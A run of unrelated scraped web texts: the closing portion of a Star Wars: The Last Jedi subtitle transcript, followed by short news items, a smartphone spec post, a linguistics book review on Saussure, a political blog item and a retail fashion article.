was afraid you'd say that. -(GUNS COCKING) -Vice Admiral Holdo, I am relieving you of your command for the survival of this ship, its crew, and the Resistance. I hope you understand what you're doing. Yeah. -I'm going to the bridge. -(C'AI GRUNTS) If they move, stun them. (BB-8 CHIRPS) OFFICER : ...at least three cycles so far. OFFICER : Yes, sir. We are working on it. (BB-8 IMITATING MOUSE DROID) (BB-8 WHIRRING CONFUSEDLY) OFFICER : I will do my best, sir. (BB-E CHIRPING INQUISITIVELY) Almost there. You don't have to do this. I feel the conflict in you. It's tearing you apart. Ben, when we touched hands, I saw your future. Just the shape of it, but solid and clear. You will not bow before Snoke. You'll turn. (WHISPERING) I'll help you. I saw it. I saw something, too. Because of what I saw, I know when the moment comes, you'll be the one to turn. You'll stand with me. Rey, I saw who your parents are. Well done, my good and faithful apprentice. My faith in you is restored. Young Rey. Welcome. (BB-8 CHIRPS) FINN: So this is it. The tracker's right behind this door. (INDISTINCT PA CHATTER) (ZAPS) DJ: Haysian smelt. Best conductor. And you're welcome. Good time to figure out how we get back to the fleet? I know where the nearest escape pods are. Course you do. POE: BB-8, tell me something good. (BB-8 CHIRPS) Poe, we're almost there. Have the cruiser prepped for lightspeed. Yeah, I'm on it, pal. You just hurry. Clear the bridge, escort the officers down to the hangar. C-3PO: Commander... Captain Dameron, Admiral Holdo was looking for you. Yeah, we spoke. Sir, I am almost afraid to ask. Good instinct, Threepio. Go with that. (INDISTINCT CHATTER) (GUARDS EXCLAIMING) (GRUNTS) Seal that door! We're running out of time. FINN: Come on, how's it going? Almost there. Threepio, where do you think you're going? It would be quite against my programming -to be party to a mutiny. -Hey! It is not correct protocol. Oh! Neither is this! Finn? We're ready to make the jump! Now or never. -Now. -(MACHINE PROCESSING) (CRACKLING) You're up. (BB-E BLEEPING) STORMTROOPER : You there, hands up! STORMTROOPER : Watch 'em, watch 'em. STORMTROOPER : Drop your weapons, now! STORMTROOPER : Hands up, Rebel scum. STORMTROOPER : Get down! I said, down! (BB-8 CHIRPS SOFTLY) (BB-E WHIRRING) FN-. So good to have you back. They didn't make it. Leia. (ALARM BLARING) MALE PA ANNOUNCER: Please board the transports according to your evacuation designation. All transports must be cleared... GURNEY OPERATOR: Okay, help me push him up, guys. HOLDO: That one's a troublemaker. I like him. Me, too. Now, time to board your transport. For the transports to escape, someone needs to stay behind and pilot the cruiser. Too many losses. I can't take any more. Sure you can. You taught me how. BOTH: May the Force be... (BOTH CHUCKLING) You go on. I've said it enough. May the Force be with you always. FEMALE PILOT: (ON RADIO) Cloaking device activated. We should be off their scopes. Let's hope this works. (HANDCUFFS BEEPING) Come closer, child. So much strength. Darkness rises, and light to meet it. I warned my young apprentice that as he grew stronger, his equal in the light would rise. Skywalker... (CHUCKLING) I assumed. Wrongly. Closer, I said. REY: You underestimate Skywalker, and Ben Solo, and me. It will be your downfall. (WHISPERS) Oh... Have you seen something? A weakness in my apprentice. Is that why you came? (LAUGHS) Young fool. It was I who bridged your minds. I stoked Ren's conflicted soul. I knew he was not strong enough to hide it from you. And you were not wise enough to resist the bait. And now, you will give me Skywalker. (REY BREATHING HEAVILY) Then I will kill you with the cruelest stroke. No. Yes. (GRUNTS) Give me everything. REY: No! No! No! (SCREAMS) (GASPS) No. No. No, no, no! LEIA: Poe. What is that? D'ACY: The mineral planet, Crait. An uncharted hideout from the days of the Rebellion. -That's a Rebel base? -Abandoned, but heavily armored with enough power to get a distress signal to our allies scattered in the Outer Rim. LEIA: Holdo knew the First Order was tracking our big ship. They're not monitoring for little transports. So we could slip down to the surface unnoticed and hide till the First Order passes. That could work. She was more interested in protecting the light than she was seeming like a hero. Godspeed, Rebels. (ROSE GRUNTS) Well done, Phasma. Your ship and payment, as we agreed. You lying snake. (ROSE STRUGGLING) We got caught, I cut a d-d-deal. Wait, cut a deal with what? Sir, we checked on the information from the thief. We ran a decloaking scan, and sure enough, Resistance transports have just launched from the cruiser. He told us the truth. Will wonders never cease? No. Our weapons are ready? Ready and aimed, sir. Fire at will. Wait. No, no. No, you can't! No! (PANICKED MURMURING) PILOT: Admiral, we're taking fire! -Do we turn around? -No, you're too far out. Full speed to planetfall. Full speed! (GROANS) (LAUGHING) Well, well, I did not expect Skywalker to be so wise. We will give him and the Jedi Order the death he desires. After the Rebels are gone, we will go to his planet and obliterate the entire island. (REY YELPING) SNOKE: Such spunk. Look here now. (STRUGGLING) SNOKE: The entire Resistance on those transports... Soon they will all be gone. For you, all is lost. Ooh. And still that fiery spit of hope. You have the spirit of a true Jedi! (GRUNTING) And because of that, you must die. (STRUGGLING) My worthy apprentice, son of darkness, heir apparent to Lord Vader. Where there was conflict, I now sense resolve. Where there was weakness, strength. Complete your training, and fulfill your destiny. (BREATHING HEAVILY) I know what I have to do. Ben. (SNOKE LAUGHING) You think you can turn him? Pathetic child. I cannot be betrayed, I cannot be beaten. I see his mind, I see his every intent. Yes. I see him turning the lightsaber to strike true. And now, foolish child, he ignites it, and kills his true enemy! (LIGHTSABER ACTIVATING) (LIGHTSABER ACTIVATING) Come on, give it full thrusters. Full speed! I am, sir. You murdering bastard! T-T-Take it easy, Big F. They blow you up today, you blow them up tomorrow. It's just business. You're wrong. Maybe. (KYLO REN GRUNTING) (REY GRUNTING) (REY STRAINING) -(LIGHTSABER BUZZING) -(REY SHRIEKING) (LIGHTSABER CRACKLING) (STRUGGLING) (PANTING) (GRUNTING) REY: Ben! The fleet. Order them to stop firing. There's still time to save the fleet. Ben? It's time to let old things die. Snoke, Skywalker. The Sith, the Jedi, the Rebels... Let it all die. Rey. I want you to join me. We can rule together and bring a new order to the galaxy. Don't do this, Ben. Please don't go this way. No, no. You're still holding on! Let go! Do you wanna know the truth about your parents? Or have you always known? And you've just hidden it away. You know the truth. Say it. Say it. They were nobody. They were filthy junk traders who sold you off for drinking money. (SOBS) They're dead in a paupers' grave in the Jakku desert. You have no place in this story. You come from nothing. You're nothing. But not to me. Join me. Please. Sir, the Resistance cruiser's preparing to jump to lightspeed. It's empty. They're just trying to pull our attention away. Pathetic. Keep your fire on the transports. (BOTH PANTING) PHASMA: Execution by blaster is too good for them. Let's make this hurt. ROSE: Finn. (WEAPONS BUZZING) On my command. She's running away. No, she isn't. (INSTRUMENTS BEEPING) -No! -Fire on that cruiser! (STRAINING) (GROANING) Execute. (ROSE GRUNTING) Finn! There's a shuttle back that way! We gotta go! -Traitor! -(BLASTER POWERING UP) What? (INDISTINCT SHOUTING) (BB-8 CHIRPING) Finn! (ROSE YELPS) (FINN SHOUTING) You are a bug in the system. Let's go, chrome dome. (FINN GRUNTING) Come on! No! Hey. (PHASMA GROANS) You were always scum. Rebel scum. (BB-8 CHIRPING) Hey! Need a lift? What happened? The girl murdered Snoke. What happened? She took Snoke's escape craft. We know where she's going. Get all our forces down to that Resistance base. Let's finish this. Finish this? Who do you think you're talking to? You presume to command my army? Our Supreme Leader is dead! We have no ruler! (CHOKING) The Supreme Leader is dead. Long live the Supreme Leader. (SPACECRAFT APPROACHING) They're coming, shut the door. (CREATURES WHIMPERING) Incoming! POE: Go! Go! Move! Get that shield door down! (INDISTINCT SHOUTING) ROSE: No! Wait, don't shoot! It's us! No! Don't shoot! Hold your fire! FINN: Don't shoot! POE: Hold your fire! LEIA: Finn? POE: Finn! Rose! You're not dead! Where's my droid? (BB-8 CHIRPING EXCITEDLY) Buddy! -I'm so glad to see you! -(BB-8 CHIRPING HAPPILY) POE: Wait, what? Wait, wait, wait, slow down. Is this all that's left? All right, shields are up so they can't hit us from orbit. Use whatever power we've got left to broadcast a distress signal to the Outer Rim. Use my personal code. If there are any allies to the Resistance, it's now or never. Rose, what do you got? Rotting munitions, rusted artillery, some half-gutted skim speeders. Well, let's just pray that big-ass door holds long enough for us to get help. (DISTANT RUMBLING) (CREATURES BARKING) FINN: A battering ram cannon. A what now? Miniaturized Death Star tech. It'll crack that door open like an egg. There has to be a back way out of here, right? (BB-8 CHIRPING) POE: BB-8, what do you got? C-3PO: BB-8 has analyzed the mine's schematics. This is the only way in or out. (DISTANT RUMBLING) (WALLS CREAKING) Come on. We have allies. People believe in Leia. They'll get our message, they'll come. But we have to buy time. We gotta take out that cannon. SOLDIER : On me! On me! (INDISTINCT SHOUTING) SOLDIER : Move! Move! Go back! Gather your weapons! SOLDIER : Get over here! SOLDIER : Hold your fire! Salt. SOLDIER : Ground forces, incoming. POE: (ON RADIO) Copy that. On our way. Engage your mono-ski. The green toggle. (GRUNTS) All right, listen up. I don't like these rust buckets and I don't like our odds, but... What the hell? Just keep it tight and don't get drawn in too close till they roll that cannon out front. All right, ground forces, lay down some fire! Thirteen incoming light craft. Shall we hold until we clear them? No. The Resistance is in that mine. Push through. Fighters, break off! Come on! We gotta hold them till they pull up that cannon! (SPEAKING ALIEN DIALECT) (SOLDIERS GROANING) Rose, you got three right behind you! I can't lose 'em! Whoo! Yeah! (CHEWIE GROWLS) (PORG GROWLS) Whoo! I like this! Blow that piece of junk out of the sky! All fighters! Chewie, peel off from the battle. Draw them away from the speeders. (CHEWIE GROWLS) She drew 'em off! All of 'em! Oh, they hate that ship! (PORG CHIRPING) Chewie! (CHEWIE GROWLS) (PORG CRYING) (CHEWIE GROWLS) (SCREAMS) There it is! That is a big gun. FINN: Okay, it's heavily armored. Our only shot is right down the throat. The cannon's opening. This is our chance. All firepower on those speeders. Concentrate all fire on the speeders! We're taking heavy losses. (INDISTINCT RADIO CHATTER) (SCREAMS) (YELPS) They're picking us all off. We're not gonna make it. FINN: All right, making my final approach. Target in sight, guns are hot. No! Pull off! What? The cannon is charged! It's a suicide run! All craft, pull away! -No! I'm almost there! -POE: Retreat, Finn! That's an order! Finn? It's too late! Don't do this! No! I won't let them win! No! Finn, listen to Poe! We have to retreat! MALE SCOUT: (ON RADIO) The cannon is warming up now. MALE COMMANDER: (ON RADIO) Copy that. We see it. MALE SCOUT: Preparing to fire. (SPEEDER RATTLING) (BLAST FIRING) Move! Go, go! Quick! SOLDIER : Let's go, let's go! (GRUNTING) Rose? Rose? Rose? Why would you do that? Huh? I was almost there. Why would you stop me? I saved you, dummy. That's how we're gonna win. Not fighting what we hate, saving what we love. KYLO REN: General Hux, advance. No quarter. No prisoners. Our distress signal's been received at multiple points, but no response. They've heard us, but no one's coming. We fought till the end. But the galaxy has lost all its hope. The spark is out. Luke. I know what you're gonna say. I changed my hair. It's nice that way. Leia, I'm sorry. I know. I know you are. I'm just glad you're here at the end. I came to face him, Leia. And I can't save him. I held out hope for so long, but I know my son is gone. No one's ever really gone. C-3PO: Master Luke. Stop! (MACHINERY CREAKING) I want every gun we have to fire on that man. Do it. More! More! That's enough. (SHOUTING) That's enough! (GUNS DEACTIVATING) Do you think you got him? Now, if we're ready to get moving, we can finish this. Sir? (EXHALES SHAKILY) Bring me down to him. Keep the door covered and don't advance until I say. Supreme Leader, don't get distracted, our goal... (HUX YELPS) Right away, sir. Med pack! I need a med pack! She's hurt pretty bad. It's Kylo Ren. Luke's facing him alone. Well, we should help him. Let's go. No, wait. Wait. Did you come back to say you forgive me? To save my soul? No. He's doing this for a reason. He's stalling so we can escape. Escape? He's one man against an army. We have to help him, we have to fight. No, no. We are the spark that'll light the fire that'll burn the First Order down. Skywalker's doing this so we can survive. There's gotta be a way out of this mine. Hell, how did he get in here? Sir, it is possible that a natural unmapped opening exists. But this facility is such a maze of endless tunnels that the odds of finding an exit -are ,... -Shh. Shush. Hush. Shush up. Shut up! -To one. -Listen. C-3PO: My audio sensors no longer detect the... POE: Exactly. Where'd the crystal critters go? (CREATURE WHIMPERING) Follow me. What are you looking at me for? Follow him. (BEACON PULSATING RAPIDLY) If the beacon's right beneath us, they've got to be somewhere. Keep scanning for life forms. (BEACON PULSATING RAPIDLY) This way. (PORG CHITTERING) I see them! Chewie, there! (CREATURES YIPPING) (CREATURE WHINING) No. No, no, no. No! (CREATURES BARKING) Lifting rocks. (BREATHING HEAVILY) (KYLO REN GRUNTING) (LIGHTSABER CRACKLING) (GRUNTING) I failed you, Ben. -I'm sorry. -I'm sure you are! The Resistance is dead. The war is over. And when I kill you, I will have killed the last Jedi. Amazing. Every word of what you just said was wrong. The Rebellion is reborn today. The war is just beginning. And I will not be the last Jedi. I'll destroy her, and you, and all of it. No. Strike me down in anger and I'll always be with you. Just like your father. (LIGHTSABER CRACKLING) (GRUNTS) (SCREAMING) No. See you around, kid. No! (GRUNTS) (DOOR CLOSING) -(C'AI LAUGHS) -C'ai! -C-3PO: Such a friend. -(R-D BLEEPS) -(CHEWIE GROWLS) -Chewie! (BB-8 CHIRPS INQUISITIVELY) -It looks good. -(BB-8 CHIRPS) CONNIX: That was crazy, man. -POE: Hi. -Hi. I'm Poe. Rey. I know. D'ACY: When we get to the Outer Rim, I have a contact there. C-3PO: Quite definitely possible. Luke is gone. I felt it. But it wasn't sadness or pain. It was peace and purpose. I felt it, too. How do we build a Rebellion from this? We have everything we need. (BB-8 CHIRPS) (SPEAKING ALIEN DIALECT) Luke Skywalker, Jedi Master. (SPEAKING ALIEN DIALECT) (ROARS) (SPEAKING ALIEN DIALECT) (THEME MUSIC PLAYING)
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So, admittedly we're getting a bit tired in the UK of new Windows 10 Mobile hardware being announced somewhere else in the world and then never even getting to see it in the flesh, but hey, another manufacturer latching onto Continuum with some thought as to possible use cases has got to be good thing. In this case it's the Chinese made COSHIP 'MOly W6' (sic) phablet, details below.
From the MSPU story:
The full specs of the Moly PCPhone W6 include: Display: 6-inch FullHD display, Gorilla Glass 3
Processor: Qualcomm Snapdragon 617
RAM: 3 GB
Memory: 32 GB, expandable via MicroSD card
Camera: 13 megapixel with LED flash, front camera: 5 megapixels
Connectivity: Wi-Fi ac, Dual SIM
Battery: 3900 mAh, not replaceable
Dimensions 160 x 82.3 mm 7.9
Other: USB Type-C The handset is currently listed on Coship’s website but not available for pre-order yet. It’s not know how far it will be distributed, but presumably areas which have access to the current Moly handset will also have a chance at the latest version.
It's significant that this is labelled as a 'PCPhone', with headline use cases:
Walking into a meeting with just your smartphone for seamlessly projecting Office apps presentation to a larger screen and when having your call the work will can still be done on the screen.
​A girl is browsing Reddit on Monitor and her boyfriend is browsing emails on the Moly W6 at the same time. The boy gets a phone call and steps into the kitchen for a while to talk and the whole time the girl is browsing Edge like nothing changed.
Well, they've got the idea anyway. A Snapdragon 617 and 3GB of RAM does seem the minimum spec to run Continuum, with USB Type C here helping make the process smoother.
The phablet/handset itself is pictured below, just don't expect to see it in the West in a shop anytime soon, though it does seem as though you CAN preorder now.
Updated
The full bench of the High Court is set to hear a constitutional challenge to the Federal Government's Minerals Resource Rent Tax as early as March.
Miners, led by the Fortescue Metals Group, have asked the court to consider the constitutional challenge on the basis the tax discriminates between states and restricts their ability to encourage mining.
In a directions hearing last month, lawyers for the group were asked to clarify their arguments before the case could be considered.
Today, Chief Justice Robert French agreed the case could now be heard by the full bench.
No date has been set, but Chief Justice French says he believes the two-day case could be run in the March sittings next year.
The Queensland and West Australian governments are intervening in the case.
Falling commodity prices mean the Government's income from the profits-based tax, which applies to coal and iron ore, is well short of projections so far.
Topics: courts-and-trials, mining-industry, federal-government, australia
Roy Harris, former professor of general linguistics at Oxford, has published extensively about Ferdinand de Saussure, the Swiss linguist acknowledged by many as the father of modern linguistics. Harris has an axe to grind, and he both grinds and wields it here. In his own words: "It will perhaps seem to some readers that this book might more appropriately have been called Saussure and his Misinterpreters ."
After the opening chapters devoted to Saussure's teachings as reflected in his students' and his editors' interpretations - which were more or less well meaning, but not necessarily faithful - Harris turns to his main targets, in order of increasing power of misinterpretation: Leonard Bloomfield, Louis Hjelmslev, Roman Jakobson, Claude Levi-Strauss, Roland Barthes, Noam Chomsky and Jacques Derrida. From then on the book is not so much about Saussurean linguistics as about the games being played in some academic circles. Are we in for a rollicking good time of shooting down tin gods? No.
First, because the picture painted, of disciplines where incompetence and antipathy reign, is too dismal to invite mirth. Second, because this is too difficult a book to be entertaining, as readers get fair warning in the preface: "My discussion also assumes that the reader is familiar not only with French but with the Francophone tradition of Saussurean studies, including the monumental critical edition of the Cours de Linguistique Générale by Rudolf Engler." This singularly reduces the audience for the book, some might even wryly think, to Harris himself, which is a pity. Readers short of the prerequisites will need patience, relentless concentration and a good command of French, for Harris never provides translations of his many quotations. They will also do well to have at hand a copy of Saussure's Cours de Linguistique Générale ( CLG ) to check the facts reported by Harris, so unbelievably gross are some authors' misrepresentations.
For readers of this review who do not know Saussure's works inside out, let me give a brief overview. First, the CLG is not Saussure's own work. It is the posthumous publication of his students' lecture notes collected and edited by two of them, Charles Bally and Albert Sechehaye. Second, it is remarkably modern - many of the topics tackled amount to problems of computational linguistics, only couched in non-technical terms. But it is best known for the two fundamental distinctions that it brought to light: langue vs parole and signifiant vs signifié .
Saussure hit upon a felicitous analogy for langue and parole : if language be chess, langue is the rules of chess, and parole is the sum of the games played by a community of chess players. Imagine communities where chess is learnt as one does one's native language: by playing and by watching others play. Some players may never witness a piece captured en passant , or they may misinterpret the conditions under which this move is allowed. Either way, they end up playing a different variety of the game, so that there is a continual interaction between the rules of chess as it is played and the chess games being played, each influencing the other. Precisely in the same manner, there is constant interaction between the rules of, say, English ( langue ) and the practice of English ( parole ).
Saussure, however, fell short of providing a good analogy for his distinction between signifiant and signifié . For this, we must turn to Chuang-tzu (or Zhuangzi), a Chinese Taoist philosopher who lived 22 centuries before Saussure. "When you point at the moon with your finger," he wrote, "you do not confuse the moon with your finger. How is it, then, that you confuse things with words when you point at things with words?" The finger pointing at the moon is Saussure's signifiant (often translated as signifier), the moon is the signifié (signified), the two combined - the finger pointing at the moon to mean the moon, not a nearby star - is the Saussurean signe (sign). This is a fundamental distinction, familiar to scientists; no mathematician would confuse pi with a picnic table or a trilithon out of Stonehenge. But it is strangely unfamiliar to many linguists and philosophers: transformational grammar arises from a confusion of signifiant and signifie, and the lucubrations of Jacques Lacan about the square root of minus one have as much to do with its mathematical reality (its signifié ) as pi has with a picnic table.
And indeed, Harris paints the misinterpreters of Saussure as concocting their theories from notions ( signes ) deliberately gutted of their meaning ( signifié ), so that they may insert their own. This is as if Chuang-tzu had written that: "Having pointed at the moon with your navel, you pick the lint out of it, and declare it to be the moon."
Harris does not mince his words either. Of Bloomfield he concludes that either he "manufactured a 'Saussure' whom he could manipulate for his own purposes", aided in this by the knowledge that few Americans would have read the CLG , or that he never understood the first thing about what Saussure was trying to express, and "merely read his own theoretical assumptions into the text". And Bloomfield is, with Hjelmslev, one who receives the gentler treatment. Are Harris's harsh judgements deserved? Regrettably, yes, and the fact is easiest demonstrated by taking one case out of the chapter on Jakobson.
Jakobson had argued that Saussure's principle of linearity was contradicted by the recently discovered notion of distinctive features in phonology. Divested of their jargon, those notions are clear. The principle of linearity is the observation that speech is linear: word follows word, within a word sound follows sound, just like the beads of a necklace are strung in sequence. Distinctive features, on the other hand, are properties of sounds that allow us to distinguish them. For instance, voicing. Try to pronounce "five" and "size" very slowly; voicing is the term for the loud buzzing in your voice box which accompanies the sounds of v and z, but is absent from f and s, and so distinguishes z from s, v from f. Clearly, Jakobson argues, voicing neither precedes nor follows but is simultaneous with the sound uttered, and so Saussure's principle of linearity does not hold. This is preposterous, as the same line of argument leads to the absurd proposition that the beads of a necklace do not form a sequence, because they are distinguished by their individual colour and shape, which do not form a sequence: shape neither precedes nor follows colour. But what is interesting, and rather terrifying, is how Jakobson presents his argument. He quotes a sentence from the CLG that says (my translation): "In speech, words form relationships with one another based on the linear nature of language, which forbids the simultaneous articulation of two elements (page 103)." It should be quite obvious, even in translation, that Saussure used "elements" so as to avoid repeating "words". But even if this were not evident, turning to page 103 of the CLG dispels any doubts, as Saussure briefly discusses there the linearity principle at the level of individual sounds (beads), rather than words or syllables, and draws attention to how stress (colour) fits the model. Jakobson's argument, then, rests entirely on interpreting "elements" literally, out of context, as if Saussure had meant "features", when it is abundantly clear that he meant "words", and on ignoring the invitation to turn to page 103 for further explanation. Coming from a respected linguist, this is shabby, to say the least.
From then on, the misinterpretations get worse and worse, and Harris's forbearance surprises. One expects him to close in for the kill at any moment, but he never does, and he merely presses on with his quest for pearls of misinterpretation, moving from Jakobson to Levi-Strauss, then to Barthes. Even when he quotes Chomsky, who equates Saussure's langue with "the generative grammar internalised by someone who has acquired a language", and who berates Saussure for failing to "conceptualise langue as a generative system", Harris refrains from delivering the easy coup de grâce : on the very first page of his introduction to the CLG , Saussure denounced as prescriptive, divorced from simple observation, and blinkered, the kind of grammar that "only aims at giving rules for distinguishing correct forms from incorrect ones".
Now that is precisely the stated aim of generative grammar: to generate all correct sentences, and only correct sentences. Patent nonsense, since the continual interaction between langue and parole , between the rules of the game and the game as people actually play it, ensures that the set of the rules (grammar) and the set of the games played according to the rules (correct sentences) are forever unstable, forever shifting. Chomsky's and Saussure's views of language are thus fundamentally irreconcilable, and Chomsky's equating langue with generative grammar shows that, like Jakobson with the principle of linearity, Chomsky has not understood the notions of langue and parole , or, perhaps, has chosen not to understand them.
Harris ends with Derrida. Derrida manages to misrepresent Saussure as claiming a natural link between signifiant and signifi é, when in fact Saussure constantly emphasises that the link is purely arbitrary, entirelyartificial. This tour de force is comparable to having Galileo declare that the earth is stationary and at the centre of the solar system. How does Derrida pull it off? Not even through a clever sleight of hand, but merely by taking nine words out of their context and inserting them into his own web of fantasies. One can only marvel at Harris's patience in disentangling the rest of Derrida's logorrhea.
Why Harris chose to write for such a narrow audience in such obscure terms remains a puzzle. Most readers will put this book down in disgust after a few pages, so difficult is it. Harris even seems to go out of his way to make it so. For instance, he warns that Saussure's signifiant and signifi é are quite unlike the medieval notions of signans and signatum , without explaining these recondite terms. You will search for them in vain in David Crystal's Encyclopedia of Language , in the complete Oxford English Dictionary and even more technical lexicons.
Almost every page brings a new instance of such obfuscations. It is as if Harris wanted to make it difficult for readers to contemplate fully, in all its repulsiveness, this obscene image of the "soft sciences" that he has exposed, and so chose to throw a cloak of jargon over its nakedness.
March 20, 2014, 1:33 AM GMT / Updated March 20, 2014, 1:42 AM GMT
The founders of a so-called "revenge porn" site were ordered by a federal judge in Ohio to pay almost $400,000 to a woman who said the site posted nude pictures of her when she was a minor.
U.S. District Judge Gregory L. Frost entered a default judgment Tuesday against Kevin C. Bollaert of San Diego and Eric S. Chanson of Princeton Junction, N.J., who ran You Got Posted, a site where embarrassing photos of ordinary people were posted with the threat that they would stay up indefinitely unless subjects paid a hefty fee.
The judgment was first reported Wednesday by the technology site Ars Technica.
The woman and her father, whose identities haven't been disclosed, sued the men (.pdf) last May in Columbus, Ohio, for distributing "sexually explicit images" of her when she was 16.
The suit didn't say how much You Got Posted tried to charge the woman to take down her pictures.
Bollaert and Chanson couldn't be reached for comment Wednesday.
In a warrant filed when Bollaert was arrested in California in December on 31 counts of identity theft, extortion and conspiracy, a state investigator said Bollaert boasted that he lived "off the grid" and said Chanson was no longer involved with the company.
Subjects who complained about You Got Posted were referred to a second website, called Change My Reputation — also allegedly owned by Bollaert and Chanson — which offered to remove the photos for payments of $250 to $350, according to the California arrest affidavit (.pdf).
In his ruling Tuesday, Frost ordered the men to pay the woman $150,000 for each of two allegations of child pornography, $10,000 for violating the woman's "right of publicity" and $75,000 in punitive damages, for a total of $385,000.
He also ordered them to remove her photos and permanently enjoined them from posting them anywhere.
In each ten-minute episode, friends, Nina, Marcus, and Benny, (Reyna Amaya, Donte Clark, and Santiago Rosas) navigate their changing neighborhood of North Oakland—known as the North Pole—through the dual lens of gentrification and global warming.
“What’s happening globally with climate change was a powerful and interesting way to talk about what’s going on locally,” said writer Josh Healey.
“Whether you’re talking about global warming, or affordable housing, or racial justice, everyone might be talking about it, and nobody understands what the other person is saying,” said Healey. “All these things matter, but matter differently depending on where you’re sitting.”
“We’re not necessarily saying that we need to have one conversation,” he added, “but understand that there are multiple conversations happening and we can ask, ‘who do we need to be prioritizing?’”
Trailer for The North Pole / Video: The North Pole Show
Director Yvan Iturriaga said he wanted to show what Oakland meant to him, “an edgy and very diverse but kind of a bipolar city.”
“Oakland is a place that has a lot of beautiful struggle in it,” said Iturriaga. “Trying to visually transmit those conflicts—the beauty and the trouble waters—has been an interesting challenge.”
Limits of budget, cast, and crucially, time all imposed themselves on the production. Not to mention, as a web series, each episode could only be about ten minutes long. “The constraints really molded everything in this first season,” said the director.
“Oakland is very territorial about who you know and what you’re doing,” said Iturriaga. But as a North Oakland resident with a very small crew, he said he felt confident filming on location and encountered few problems.
“Every scene and every location is a very deliberate choice,” he said. As a result, many scenes take place in familiar settings.
Marcus (Donte Clark) and Nina (Reyna Amaya). | Photo Courtesy The North Pole Show
The series is produced in partnership with Movement Generation, an Oakland-based nonprofit advocating “liberation and restoration of land, labor, and culture.”
“Most nonprofits don’t produce narrative web series,” said Healey. “But if we’re going to change policy, we have to change story and the stories that are told. Who are the characters? Who are the villains? We’re showing what an artists’ and activists’ project/movement could look like.”
“This is not a straight comedy. It’s a political comedy,” said Healey. “There are punchlines that will make you laugh, punchlines that will make you angry, and a lot in between. You’re hit in your head your heart your funny bone and your raised fist, all at the same time.”
The North Pole will premiere at the Grand Lake Theater on Thursday, September 7th at 7:00pm, with a second showing at 9:30pm. A Q&A will follow each showing.
The term refers to how workers relate to their companies.
This is measured by asking staff if they are motivated to give their best at their jobs, if they say positive things about their organisation and if they intend to stay for a long time.
The annual survey noted that Singapore's employee engagement score fell by 4 percentage points to 59 per cent in 2016 - a stark contrast to 2015, when an increase of 3 percentage points was recorded.
The study by talent firm Aon Hewitt suggests that workers here feel less meaningfully invested in their jobs, a trend seen most prominently among younger employees.
Millennials - people under the age of 34 - indicated a dimmer view of the ways in which organisations involve and manage their staff.
Mr Josh Goh, marketing director of recruitment firm ManpowerGroup, said better communication is crucial to keep employees invested.
"Training and development is key to retraining Singapore millennials. In the last two years, we observed that employers focus more on what employees have to offer instead of how they can be trained and developed," he added.
"Employers will need to have more 'career conversations' with their employees to find out their limitations and strengths, and work with them towards their goals. This needs to be a regular process, not an appraisal."
Workers in China, India, Indonesia, Thailand and the Philippines were found to be more invested in their jobs than Singapore staff.
Aon Hewitt also found that, on the whole, employees in the Asia- Pacific region were less engaged in 2016 than they were in 2015.
Its research also showed that a rise in employee engagement is linked to higher revenue growth.
The inverse happens when engagement levels fall - businesses experience greater turnover, higher absenteeism, lower customer satisfaction and, ultimately, poor financial performance.
Former Governor of New Hampshire, John Sununu told CNN’s Alisyn Camerota Monday morning that Mueller is hiring Democrat lawyers because he knows that there is nothing to investigate.
As TGP previously reported, Robert Mueller is stacking his Special Counsel team with Democrat donors and Obama lawyers as their Stalin-like witch hunt of ‘show me the man, I’ll show you the crime’ continues full steam ahead.
Camerota: “Should the White House know if the President is being investigated for obstruction of justice?”
Sununu: “If the President is being investigated for obstruction of justice, the White House should have been officially notified.”
Camerota asked Sununu if he was bothered by the possibility that President Trump is being investigated for obstruction of justice. Sununu brought up the fact that Mueller is stacking his legal team with biased lawyers who are Democrat donors.
Sununu: “What bothers me the most–and there must be a reason for it, is Mueller making four of his first hires so blatantly biased lawyers, pro-Democrat lawyers with a bias certainly against the President… …Maybe Mueller has decided internally that this isn’t going anywhere and that the only way he can have credibility on a decision saying that there’s nothing there is to have that decision come from a group of lawyers that are so blatantly biased against the President.”
Olivas Vila Aoy, a native of Spain, joined The Church of Jesus Christ of Latter-day Saints in New Mexico in the early 1880s. He was a member of the team that translated the Book of Mormon into Spanish. But Aoy is best remembered as an education pioneer in El Paso, Texas, where he was the first teacher to cater to Spanish-speaking students. He started his school with no expectation of being paid, and ran it for seven months on his own savings. In addition to helping his students prepare to enter the English-only public schools, he often gave them food, medicine, and counseling. When his funds began to run out, his friends called his plight to the attention of the city, and the school board soon began funding his school. Even then, he devoted the bulk of his small salary to the needs of his students.
When Aoy died in 1895, he was sorely missed, both by city leaders and the families whose lives his sacrifice had touched so deeply. They engraved a scripture from the Gospel of Matthew on his headstone: “Inasmuch as ye have done it unto one of the least of these my brethren, ye have done it unto me” (Matt. 25:40). Aoy’s Christlike service for the underprivileged children of El Paso exemplifies the Lord’s admonition to Latter-day Saints that they “should be anxiously engaged in a good cause, and do many things of their own free will, and bring to pass much righteousness” (D&C 58:27).
For more on Aoy's relationship with the Book of Mormon, see “‘That They May Know the Covenants of the Lord’: Olivas Aoy and the Book of Mormon.”
Welcome to the hottest teen clothing retailer in the U.S., where the garments are designed for just one body type: thin. Brandy Melville has stormed onto the teen fashion scene with its "one-size-fits-most" policy and whimsical California vibe. Despite its modest fleet of 18 stores in the U.S., mostly in California and around New York City, it's one of the brands with the fastest-growing popularity among American teen girls, according to a semiannual survey from research firm Piper Jaffray.
Who is the Brandy Melville girl? One look at the brand's website and Instagram account reveals her: young, white, skinny and long-legged.
Typical Brandy Melville girls on Instagram.
"It's an exclusivity thing: Congratulations, you fit in the clothes! Join the club," said Justina Sharp, a 17-year-old fashion blogger who runs her style site, A Bent Piece of Wire. "There will always be the girls who will try to squeeze into it. They'll do whatever they can to fit in Brandy Melville."
While teens fawn over the retailer's assortment of crop tops, halters, cardigans and more, critics say Brandy Melville has raised the stakes when it comes to fat-shaming. Though the fashion world has long fetishized skinniness, and some labels cater to even slimmer profiles, few have taken size exclusivity this far. Yoga-wear company Lululemon, which admits plus-size customers aren't part of its strategy, does offer sizes from 0 to 12. Even Abercrombie & Fitch, derided for ignoring overweight kids, sells clothes with extra-large on the labels, up to size 14.
At Brandy Melville, nearly all the clothes are small, though a medium will pop up here and there. To be able to shimmy into Brandy Melville's only size of skinny jeans, a girl would need to have a 25-inch waist -- that's around a size 0 or 2, depending on the brand. Most skirts and shorts on the website are about the same size. Similar skinny jeans at teen fashion powerhouse Forever 21 span sizes from 24 to 30 inches. In the U.S., the average 16-year-old girl is approximately 5 feet 3inches tall, weighs about 138 pounds and has around a 31-inch waist, according to a 2012 report from the Centers for Disease Control and Prevention.
